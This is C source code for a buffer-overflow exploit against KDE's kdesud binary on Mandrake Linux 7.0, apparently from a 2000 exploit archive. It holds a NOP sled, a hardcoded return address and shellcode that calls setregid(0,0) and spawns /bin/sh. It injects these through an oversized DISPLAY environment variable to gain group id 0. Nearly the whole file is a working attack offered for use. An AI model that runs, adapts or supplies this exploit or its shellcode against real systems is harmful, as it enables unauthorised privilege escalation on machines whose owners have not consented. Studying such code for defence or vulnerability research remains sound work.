/*
/usr/bin/kdesud has DISPLAY enviroment variable overflow.
tested on Mandrake 7.02 (Air), exploit will get you gid=0
 
Shameless self promotion: Any security related job in Istanbul/Turkey
???
 
Respect,
noir
*/
/* KDE: /usr/bin/kdesud exploit by noir
 * x86/Linux
 * noir@gsu.linux.org.tr | noir@olympos.org
 * DISPLAY env overflow
 * this script will get you gid = 0 !!
 * tested on Mandrake 7.0 (Air), for other distros play with argv1 for eip
 *  greetz: dustdevil, Cronos, moog, still, #olympos irc.sourtimes.org
 *
 */

#include <stdio.h>
#include <string.h>

#define NOP             0x90
#define ALIGN   2
#define RET     0xbffff664  // Mandrake 7.0 (x86)

int
main(int argc, char *argv[])
{
  unsigned char shell[] =
    "\x31\xc0\x89\xc3\x89\xc1\xb0\x47\xcd\x80" /* setregid(0, 0) */
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  char buf[400];
  int i, a;
  long ret = RET;

  if(argv[1])
    ret = ret - atoi(argv[1]);

  memset(buf, NOP, 400);

  for(i = ALIGN  ; i < 160 + ALIGN; i+=4)
    *(long *) &buf[i] = ret;

  for( i = 300, a = 0; a < strlen(shell) ; i++, a++ )
    buf[i] = shell[a];

  buf[399] = 0x00;
  printf("eip: 0x%x\n", ret);

  setenv("DISPLAY", buf, 1);
  execl("/usr/bin/kdesud", "kdesud",  0);
}
/*                    www.hack.co.za           [12 June 2000]*/